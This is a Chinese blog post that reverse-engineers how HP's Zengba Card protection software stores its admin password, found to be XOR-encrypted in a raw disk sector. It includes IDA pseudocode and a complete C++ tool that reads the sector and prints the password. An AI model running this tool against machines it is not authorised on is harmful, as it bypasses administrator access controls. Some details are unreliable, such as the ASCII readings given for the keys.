下载
逆向破解惠普增霸卡密码验证流程
作者: Petyrma (petyr)
原文链接: https://www.cnblogs.com/petyr/articles/19039113
摘要: 本文逆向分析并复刻了惠普增霸卡(ZBK)的密码存储逻辑,通过分析其 DLL 动态链接库,发现了其简单的异或加密机制,并实现了一个能够直接读取并破解密码的 C++ 小程序。
一、 背景与起因
惠普增霸卡是预装在部分惠普商用电脑上的一款安全管理软件,提供了硬盘保护、开机密码等功能。当需要修改设置时,LocalSet.exe 等程序会要求输入管理员密码。
本次分析的初衷是探讨其密码验证的内部逻辑。通过观察发现,安装目录下的 LocalSet.exe、LoginMan.exe、LxClient.exe 等多个程序在启动时弹出的密码界面完全相同。这引出两个推论:
- 代码复用:多个程序共用一套验证逻辑。
- 逻辑外置:验证逻辑很可能封装在某个共享的 DLL 文件中。
二、 逆向分析过程
1. 定位核心逻辑
经过排查,在 PublicFun.dll 中找到了关键函数:CZbkObject::ValidAdminPasswords。
2. IDA Pro 伪代码分析
以下是该函数的核心 C++ 伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| BOOL __thiscall CZbkObject::ValidAdminPasswords(CZbkObject *this, char *a2, unsigned int a3) { unsigned int v4; int *p_InBuffer; int InBuffer; int v9;
if ( *((_DWORD *)this + 132) == -1 ) CZbkObject::Initial(this);
CZbkObject::ReadSectors(this, *((_QWORD *)this + 1) + 6410i64, &InBuffer, 1u);
v4 = a3;
InBuffer ^= 0x48414947u; v9 ^= 0x55414E47u;
p_InBuffer = &InBuffer;
if ( a3 >= 4 ) { while ( *(_DWORD *)a2 == *p_InBuffer ) { v4 -= 4; ++p_InBuffer; a2 += 4; } return 0; } }
|
3. 验证流程总结
- 读取位置:密码并非存放在文件中,而是直接写入硬盘物理扇区(基地址 + 6410 偏移)。
- 加密方式:简单的异或(XOR)加密。
- 硬编码密钥:使用了两个固定的 4 字节密钥
0x48414947 (“GIAG”) 和 0x55414E47 (“GUANG”)。
- 安全性:由于密钥硬编码且算法简单,安全性极低。
三、 复现密码读取工具
根据分析逻辑,可以编写一个工具直接从物理硬盘读取并解密密码。
实现思路
- 遍历硬盘:通过
DeviceIoControl(控制码 0x72054)找到安装了增霸卡的物理磁盘并获取基地址。
- 读取扇区:计算
基地址 + 6410,通过控制码 0x7201C 读取该扇区数据。
- 解密输出:使用上述密钥进行异或运算。
C++ 实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| #include <windows.h> #include <stdio.h>
int main() { HANDLE hDevice = INVALID_HANDLE_VALUE; unsigned __int64 baseLBA = 0; DWORD dwBytesReturned;
for (int diskIndex = 0; diskIndex < 20; ++diskIndex) { char deviceName[50]; sprintf_s(deviceName, sizeof(deviceName), "\\\\.\\PhysicalDrive%d", diskIndex); hDevice = CreateFileA(deviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) continue;
__int64 inBuffer = 0; BOOL bResult = DeviceIoControl(hDevice, 0x72054, &inBuffer, 8, &inBuffer, 8, &dwBytesReturned, NULL); if (bResult && inBuffer != 0) { baseLBA = inBuffer; printf("Found Zengba Card data on PhysicalDrive%d. Base LBA: %llu\n", diskIndex, baseLBA); break; } CloseHandle(hDevice); hDevice = INVALID_HANDLE_VALUE; }
if (baseLBA == 0) { printf("Error: Could not find a drive with Zengba Card data.\n"); return 1; }
BYTE sectorBuffer[512] = {0}; DWORD* pBuffer = (DWORD*)sectorBuffer; unsigned __int64 targetLba = baseLBA + 6410;
pBuffer[0] = (DWORD)targetLba; pBuffer[1] = (DWORD)(targetLba >> 32); pBuffer[2] = 1;
BOOL bResult = DeviceIoControl(hDevice, 0x7201C, sectorBuffer, 512, sectorBuffer, 512, &dwBytesReturned, NULL); if (!bResult) { printf("Error: Failed to read sector. LastError: %d\n", GetLastError()); CloseHandle(hDevice); return 1; }
printf("Decrypting password...\n"); pBuffer[0] ^= 0x48414947u; pBuffer[1] ^= 0x55414E47u;
printf("\n--- Password Found ---\n"); printf("Password as String: %s\n", (char*)sectorBuffer); printf("----------------------\n");
CloseHandle(hDevice); return 0; }
|
注意:运行此程序需要管理员权限,且仅针对 ZBK_UEFI_v7 版本测试有效。
四、 总结
惠普增霸卡的验证机制存在明显的设计缺陷:将安全凭证以极弱的加密方式存储在物理扇区中,且密钥硬编码在 DLL 内。这种“隐藏式安全”在逆向分析面前几乎没有防御力。
标签: 逆向工程, IDA Pro, C++, 安全, 还原卡, ZBK, 破解